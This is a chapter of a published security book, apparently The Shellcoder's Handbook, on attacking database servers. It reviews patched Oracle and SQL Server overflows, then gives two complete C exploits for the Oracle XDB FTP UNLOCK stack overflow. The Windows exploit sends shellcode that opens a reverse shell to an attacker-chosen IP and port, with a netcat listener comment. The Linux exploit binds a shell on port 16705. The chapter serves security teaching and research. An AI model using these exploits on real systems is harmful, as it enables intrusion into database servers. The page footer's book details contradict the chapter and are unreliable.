Chapter 22: Attacking Database Software

Network Layer Attacks

Most attacks at the network level usually involve the exploitation of overflows. In the past, both Oracle and Microsoft's RDBMS software have suffered from vulnerabilities at the network level.

If an overly long username was supplied to the login procedure in Oracle, then a stack-based buffer was overflowed, allowing the attacker to gain full control. This bug was discovered by Mark Litchfield of NGSSoftware and fixed by Oracle in April 2003 ( http://otn.oracle.com/deploy/security/pdf/2003alert51.pdf ).

Microsoft's SQL Server suffered from a stack-based buffer overflow vulnerability whereby the first packet sent by the client, which should contain only the signature MSSQLServer , could be used to gain control. It was found by Dave Aitel who named it the Hello bug. This bug was fixed by Microsoft in October 2002 ( www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/ms02-056.asp ).

When it comes to exploiting holes at the network level, you can't rely on the client tools for protocol packaging; you need to write this code yourself. Writing this code requires an examination of the protocol on the wire. You will need a network packet capture tool such as NGSSniff, Network Monitor, tcpdump, or Ethereal as well as access to the database server software in question. You have two methods with which to go about designing the exploit for a given network layer issue. You can do a packet dump, cut and paste this dump into your exploit with a few modifications, and fire it off, or, you could write a library for the protocol in question. The advantage of the first method is that it is quick ”plug and play. The second takes slightly longer, but once written, it is good for the next network layer issue. A good source of information about Oracle's Transparent Network Substrate (TNS) protocol has been documented by Ian Redfern of LogicaCMG and can be found at http://public.logicacmg.com/~redferni/oracle/Oracle-Protocol.html . Documentation for Microsoft's Tabular Data Stream (TDS) protocol, researched by Brian Bruns, can be found at www.freetds.org/tds.html .

Many database server software packages allow users to query the data it holds in non-SQL ways. These typically involve other standard protocols such as HTTP and ftp.

Oracle 9, for example, offers the Oracle XML Database (XDB) over HTTP on port 8080 and ftp on 2100. XDB is installed by default, and both the Web and the ftp versions of XDB are vulnerable to overflow. You can overflow a stack-based buffer by supplying an overly long username or password to the Web service. As it happens, on the way to overwriting the saved return address, you also overflow an integer variable that is then passed as the number of bytes to copy for a call to memcpy () . Because we can't have a null in the overflow string, the smallest integer we can set is 0x01010101 . This is still too large, however, and the call to memcpy access violates or segmentation violates . This seemingly makes it impossible to exploit on platforms such as Linux ( seemingly because you should never say never; it could be exploitable on Linux ”we simply haven't had the time to make it exploitable). However, on Windows , we can overwrite the EXCEPTION_REGISTRATION structure on the stack and use this to gain control of the process's path of execution.

The ftp service suffers from a similar problem. An overly long username or password will overflow a stack-based buffer, but we still have the same problem with the Web service equivalent. That said, there are a few more overflows in the ftp XDB service. As well as providing most of the standard ftp commands, Oracle has also introduced some of its own. Two of these, TEST and UNLOCK , are vulnerable to a stack-based buffer overflow, and both are readily exploitable on any platform. We present two samples that will exploit the overflow on Windows and Linux.

 Windows XDB overflow exploit #include <stdio.h> #include <windows.h> #include <winsock.h>     int GainControlOfOracle(char *, char *); int StartWinsock(void); int SetUpExploit(char *,int);     struct sockaddr_in s_sa; struct hostent *he; unsigned int addr; char host[260]="";     unsigned char exploit[508]= "\x55\x8B\xEC\xEB\x03\x5B\xEB\x05\xE8\xF8\xFF\xFF\xFF\xBE\xFF\xFF" "\xFF\xFF\x81\xF6\xDC\xFE\xFF\xFF\x03\xDE\x33\xC0\x50\x50\x50\x50" "\x50\x50\x50\x50\x50\x50\xFF\xD3\x50\x68\x61\x72\x79\x41\x68\x4C" "\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\xFF\x75\xFC\xFF\x55\xF4\x89" "\x45\xF0\x83\xC3\x63\x83\xC3\x5D\x33\xC9\xB1\x4E\xB2\xFF\x30\x13" "\x83\xEB\x01\xE2\xF9\x43\x53\xFF\x75\xFC\xFF\x55\xF4\x89\x45\xEC" "\x83\xC3\x10\x53\xFF\x75\xFC\xFF\x55\xF4\x89\x45\xE8\x83\xC3\x0C" "\x53\xFF\x55\xF0\x89\x45\xF8\x83\xC3\x0C\x53\x50\xFF\x55\xF4\x89" "\x45\xE4\x83\xC3\x0C\x53\xFF\x75\xF8\xFF\x55\xF4\x89\x45\xE0\x83" "\xC3\x0C\x53\xFF\x75\xF8\xFF\x55\xF4\x89\x45\xDC\x83\xC3\x08\x89" "\x5D\xD8\x33\xD2\x66\x83\xC2\x02\x54\x52\xFF\x55\xE4\x33\xC0\x33" "\xC9\x66\xB9\x04\x01\x50\xE2\xFD\x89\x45\xD4\x89\x45\xD0\xBF\x0A" "\x01\x01\x26\x89\x7D\xCC\x40\x40\x89\x45\xC8\x66\xB8\xFF\xFF\x66" "\x35\xFF\xCA\x66\x89\x45\xCA\x6A\x01\x6A\x02\xFF\x55\xE0\x89\x45" "\xE0\x6A\x10\x8D\x75\xC8\x56\x8B\x5D\xE0\x53\xFF\x55\xDC\x83\xC0" "\x44\x89\x85\x58\xFF\xFF\xFF\x83\xC0\x5E\x83\xC0\x5E\x89\x45\x84" "\x89\x5D\x90\x89\x5D\x94\x89\x5D\x98\x8D\xBD\x48\xFF\xFF\xFF\x57" "\x8D\xBD\x58\xFF\xFF\xFF\x57\x33\xC0\x50\x50\x50\x83\xC0\x01\x50" "\x83\xE8\x01\x50\x50\x8B\x5D\xD8\x53\x50\xFF\x55\xEC\xFF\x55\xE8" "\x60\x33\xD2\x83\xC2\x30\x64\x8B\x02\x8B\x40\x0C\x8B\x70\x1C\xAD" "\x8B\x50\x08\x52\x8B\xC2\x8B\xF2\x8B\xDA\x8B\xCA\x03\x52\x3C\x03" "\x42\x78\x03\x58\x1C\x51\x6A\x1F\x59\x41\x03\x34\x08\x59\x03\x48" "\x24\x5A\x52\x8B\xFA\x03\x3E\x81\x3F\x47\x65\x74\x50\x74\x08\x83" "\xC6\x04\x83\xC1\x02\xEB\xEC\x83\xC7\x04\x81\x3F\x72\x6F\x63\x41" "\x74\x08\x83\xC6\x04\x83\xC1\x02\xEB\xD9\x8B\xFA\x0F\xB7\x01\x03" "\x3C\x83\x89\x7C\x24\x44\x8B\x3C\x24\x89\x7C\x24\x4C\x5F\x61\xC3" "\x90\x90\x90\xBC\x8D\x9A\x9E\x8B\x9A\xAF\x8D\x90\x9C\x9A\x8C\x8C" "\xBE\xFF\xFF\xBA\x87\x96\x8B\xAB\x97\x8D\x9A\x9E\x9B\xFF\xFF\xA8" "\x8C\xCD\xA0\xCC\xCD\xD1\x9B\x93\x93\xFF\xFF\xA8\xAC\xBE\xAC\x8B" "\x9E\x8D\x8B\x8A\x8F\xFF\xFF\xA8\xAC\xBE\xAC\x90\x9C\x94\x9A\x8B" "\xBE\xFF\xFF\x9C\x90\x91\x91\x9A\x9C\x8B\xFF\x9C\x92\x9B\xFF\xFF" "\xFF\xFF\xFF\xFF";     char exploit_code[8000]= "UNLOCK / aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnn" "nooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzzAAAAAABBBBCCCCD" "DDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSST" "TTTUUUUVVVVWWWWXXXXYYYYZZZZabcdefghijklmnopqrstuvwxyzABCDEFGHIJK" "LMNOPQRSTUVWXYZ0000999988887777666655554444333322221111098765432" "1aaaabbbbcc";     char exception_handler[8]="\x79\x9B\xf7\x77"; char short_jump[8]="\xEB\x06\x90\x90";     int main(int argc, char *argv[]) {            if(argc != 6)      {           printf("\n\n\tOracle XDB FTP Service UNLOCK Buffer Overflow Exploit");           printf("\n\t\tfor Blackhat (http://www.blackhat.com)");           printf("\n\n\tSpawns a reverse shell to specified port");           printf("\n\n\tUsage:\t%s host userid password ipaddress port",argv[0]);           printf("\n\n\tDavid Litchfield\n\t(david@ngssoftware.com)");           printf("\n\t6th July 2003\n\n\n");           return 0;      }          strncpy(host,argv[1],250);      if(StartWinsock()==0)           return printf("Error starting Winsock.\n");          SetUpExploit(argv[4],atoi(argv[5]));          strcat(exploit_code,short_jump);      strcat(exploit_code,exception_handler);      strcat(exploit_code,exploit);      strcat(exploit_code,"\r\n");          GainControlOfOracle(argv[2],argv[3]);                 return 0;     }               int SetUpExploit(char *myip, int myport) {      unsigned int ip=0;      unsigned short prt=0;      char *ipt="";      char *prtt="";          ip = inet_addr(myip);          ipt = (char*)&ip;      exploit[191]=ipt[0];      exploit[192]=ipt[1];      exploit[193]=ipt[2];      exploit[194]=ipt[3];          // set the TCP port to connect on      // netcat should be listening on this port      // e.g. nc -l -p 80          prt = htons((unsigned short)myport);      prt = prt ^ 0xFFFF;      prtt = (char *) &prt;      exploit[209]=prtt[0];      exploit[210]=prtt[1];          return 0; }     int StartWinsock() {      int err=0;      WORD wVersionRequested;      WSADATA wsaData;          wVersionRequested = MAKEWORD( 2, 0 );      err = WSAStartup( wVersionRequested, &wsaData );      if ( err != 0 )           return 0;      if ( LOBYTE( wsaData.wVersion ) != 2  HIBYTE( wsaData.wVersion ) != 0 )        {           WSACleanup( );           return 0;      }          if (isalpha(host[0]))      {           he = gethostbyname(host);           s_sa.sin_addr.s_addr=INADDR_ANY;           s_sa.sin_family=AF_INET;           memcpy(&s_sa.sin_addr,he->h_addr,he->h_length);        }      else      {           addr = inet_addr(host);           s_sa.sin_addr.s_addr=INADDR_ANY;           s_sa.sin_family=AF_INET;           memcpy(&s_sa.sin_addr,&addr,4);           he = (struct hostent *)1;      }          if (he == NULL)        {           return 0;        }      return 1; }         int GainControlOfOracle(char *user, char *pass) {          char usercmd[260]="user ";      char passcmd[260]="pass ";      char resp[1600]="";      int snd=0,rcv=0;      struct sockaddr_in r_addr;      SOCKET sock;          strncat(usercmd,user,230);      strcat(usercmd,"\r\n");      strncat(passcmd,pass,230);      strcat(passcmd,"\r\n");          sock=socket(AF_INET,SOCK_STREAM,0);      if (sock==INVALID_SOCKET)          return printf(" sock error");          r_addr.sin_family=AF_INET;      r_addr.sin_addr.s_addr=INADDR_ANY;              r_addr.sin_port=htons((unsigned short)0);      s_sa.sin_port=htons((unsigned short)2100);                if (connect(sock,(LPSOCKADDR)&s_sa,sizeof(s_sa))==SOCKET_ERROR)           return printf("Connect error");          rcv = recv(sock,resp,1500,0);      printf("%s",resp);      ZeroMemory(resp,1600);         snd=send(sock, usercmd , strlen(usercmd) , 0);      rcv = recv(sock,resp,1500,0);      printf("%s",resp);      ZeroMemory(resp,1600);         snd=send(sock, passcmd , strlen(passcmd) , 0);      rcv = recv(sock,resp,1500,0);      printf("%s",resp);      if(resp[0]=='5')      {           closesocket(sock);           return printf("Failed to log in using user %s and password  %s.\n",user,pass);      }      ZeroMemory(resp,1600);          snd=send(sock, exploit_code, strlen(exploit_code) , 0);          Sleep(2000);          closesocket(sock);      return 0; }     Linux XDB Overflow     #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h>     int main(int argc, char *argv[]) {          struct hostent *he;      struct sockaddr_in sa;      int sock;      unsigned int addr = 0;      char recvbuffer[512]="";      char user[260]="user ";      char passwd[260]="pass ";      int rcv=0;      int snd =0;      int count = 0;          unsigned char nop_sled[1804]="";          unsigned char saved_return_address[]="\x41\xc8\xff\xbf";          unsigned char exploit[2100]="unlock / AAAABBBBCCCCDDDDEE"        "EEFFFFGGGGHHHHIIIIJJJJKKKK"        "LLLLMMMMNNNNOOOOPPPPQQQ"        "QRRRRSSSSTTTTUUUUVVVVWWW"                            "WXXXXYYYYZZZZaaaabbbbccccdd";          unsigned char  code[]="\x31\xdb\x53\x43\x53\x43\x53\x4b\x6a\x66\x58\x54\x59\xcd" "\x80\x50\x4b\x53\x53\x53\x66\x68\x41\x41\x43\x43\x66\x53" "\x54\x59\x6a\x10\x51\x50\x54\x59\x6a\x66\x58\xcd\x80\x58" "\x6a\x05\x50\x54\x59\x6a\x66\x58\x43\x43\xcd\x80\x58\x83" "\xec\x10\x54\x5a\x54\x52\x50\x54\x59\x6a\x66\x58\x43\xcd" "\x80\x50\x31\xc9\x5b\x6a\x3f\x58\xcd\x80\x41\x6a\x3f\x58"      "\xcd\x80\x41\x6a\x3f\x58\xcd\x80\x6a\x0b\x58\x99\x52\x68"      "\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x54\x5b\x52\x53\x54"                     "\x59\xcd\x80\r\n";          if(argc !=4)      {           printf("\n\n\tOracle XDB FTP Service UNLOCK Buffer Overflow  Exploit");           printf("\n\t\tfor Blackhat (http://www.blackhat.com)");           printf("\n\n\tSpawns a shell listening on TCP Port 16705");           printf("\n\n\tUsage:\t%s host userid password",argv[0]);           printf("\n\n\tDavid Litchfield\n\t(david@ngssoftware.com)"); printf("\n\t7th July 2003\n\n\n");           return 0;      }          while(count < 1800)      {           nop_sled[count++]=0x90;      }          // Build the exploit      strcat(exploit,saved_return_address);      strcat(exploit,nop_sled);      strcat(exploit,code);          // Process arguments      strncat(user,argv[2],240);      strncat(passwd,argv[3],240);      strcat(user,"\r\n");      strcat(passwd,"\r\n");                // Setup socket stuff      sa.sin_addr.s_addr=INADDR_ANY;      sa.sin_family = AF_INET;      sa.sin_port = htons((unsigned short) 2100);          // Resolve the target system      if(isalpha(argv[1][0])==0)      {           addr = inet_addr(argv[1]);           memcpy(&sa.sin_addr,&addr,4);      }      else      {           he = gethostbyname(argv[1]);           if(he == NULL)                return printf("Couldn't resolve host %s\n",argv[1]);           memcpy(&sa.sin_addr,he->h_addr,he->h_length);      }          sock = socket(AF_INET,SOCK_STREAM,0);      if(sock < 0)           return printf("socket() failed.\n");          if(connect(sock,(struct sockaddr *) &sa,sizeof(sa)) < 0)      {           close(sock);           return printf("connect() failed.\n");      }          printf("\nConnected to %s....\n",argv[1]);          // Receive and print banner      rcv = recv(sock,recvbuffer,508,0);      if(rcv > 0)      {           printf("%s\n",recvbuffer);           bzero(recvbuffer,rcv+1);      }      else      {           close(sock);           return printf("Problem with recv()\n");      }          // send user command      snd = send(sock,user,strlen(user),0);      if(snd != strlen(user))      {     close(sock);           return printf("Problem with send()....\n");      }      else      {           printf("%s",user);      }            // Receive response. Response code should be 331      rcv = recv(sock,recvbuffer,508,0);      if(rcv > 0)      {               if(recvbuffer[0]==0x33  && recvbuffer[1]==0x33 &&  recvbuffer[2]==0x31)           {                printf("%s\n",recvbuffer);                bzero(recvbuffer,rcv+1);           }           else           {                close(sock);                return printf("FTP response code was not 331.\n");           }          }      else      {           close(sock);           return printf("Problem with recv()\n");      }          // Send pass command      snd = send(sock,passwd,strlen(passwd),0);      if(snd != strlen(user))      {           close(sock);           return printf("Problem with send()....\n");      }      else           printf("%s",passwd);          // Receive response. If not 230 login has failed.      rcv = recv(sock,recvbuffer,508,0);      if(rcv > 0)      {           if(recvbuffer[0]==0x32  && recvbuffer[1]==0x33 &&  recvbuffer[2]==0x30)           {                printf("%s\n",recvbuffer);                bzero(recvbuffer,rcv+1);           }           else           {                close(sock);                return printf("FTP response code was not 230. Login  failed...\n");           }      }      else      {           close(sock);           return printf("Problem with recv()\n");      }          // Send the UNLOCK command with exploit      snd = send(sock,exploit,strlen(exploit),0);      if(snd != strlen(exploit))      {           close(sock);           return printf("Problem with send()....\n");      }          // Should receive a 550 error response.      rcv = recv(sock,recvbuffer,508,0);      if(rcv > 0)           printf("%s\n",recvbuffer);          printf("\n\nExploit code sent....\n\nNow telnet to %s  16705\n\n",argv[1]);      close(sock);      return 0;     } 

While Oracle offers database services over HTTP and ftp, DB2 offers a JDBC Applet Server on TCP port 6789. This Applet Server exists so that Web clients can download and execute a Java Applet through their browser that can query the database server. The Java Applet is downloaded from the Web server and connects to the Applet Server to pass queries to the database server. The obvious risk involved is that queries originate from the client. Just because a query may be hardcoded into the applet means nothing ” attackers could simply send their own queries. The JDBC Applet Server then forwards the request to the database server and the results are passed back. Needless to say, this functionality seems extremely dangerous and should be used with caution.

Microsoft, of course, had problems with the Slammer exploit in 2003. Slammer was a stack-based buffer overflow that resulted in sending a UDP packet to port 1434 with a first byte of 0x04 followed by an overly long string. There has been quite a bit written about this exploit; you can easily find information about it on the Internet.



The Shellcoder's Handbook. Discovering and Exploiting Security
Hacking Ubuntu: Serious Hacks Mods and Customizations (ExtremeTech)
ISBN: N/A
EAN: 2147483647
Year: 2003
Pages: 198
Authors: Neal Krawetz

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net